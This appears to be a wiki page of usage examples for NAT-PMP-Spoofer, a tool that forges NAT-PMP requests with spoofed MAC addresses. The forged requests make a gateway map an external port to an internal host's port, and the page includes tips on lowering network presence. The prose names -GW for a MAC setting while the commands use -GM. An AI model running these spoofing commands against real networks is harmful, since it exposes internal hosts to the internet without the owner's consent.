-
Notifications
You must be signed in to change notification settings - Fork 0
Examples with network diagrams
Network 1:
In the first case, our device (.1.113) is in the same broadcast domain as the target host (.1.228) and gateway (.1.1). If all devices are online, the program should be able to fetch all required data, and use default values, so we only need to specify port and host address:
NAT-PMP-Spoofer.exe -DA 192.168.1.228 -PH 80 -PO 8080 -TCP
This command will create mapping on NAT-PMP-Capable gateway (.1.1), that would map external TCP port 8080 (on 74.123.123.1) to TCP port 80 on target (.1.228).
Of course, we can use more arguments to make mappings fit better, to provide data that cannot be fetched, or to both increase speed of the program and lower network presence:
NAT-PMP-Spoofer.exe -DA 192.168.1.228 -DM b1:6b:00:b5:ba:be -SM ba:be:de:fe:c8:ed -GW 192.168.1.1 -GM c1:5c:00:0d:06:1e -PH 80 -PO 8080 -TCP -T 1299
However, if our device is behind another Router\Gateway\VLAN\Any device that would separate us from using the same broadcast domain, it will be more complicated:
In this case, we must adjust our launch arguments accordingly:
NAT-PMP-Spoofer.exe -DA 192.168.1.228 -DM b1:6b:00:b5:ba:be -SM ba:be:de:fe:c8:ed -GW 192.168.1.1 -GM de:ad:c0:de:13:37 -PH 80 -PO 8080 -TCP
Notice, that for -GW we must use MAC address of the next hop in broadcast domain, instead of using MAC address of external router. In this case, we use MAC address of .2.1 interface. In case of multihomed networks, it must be done for each gateway.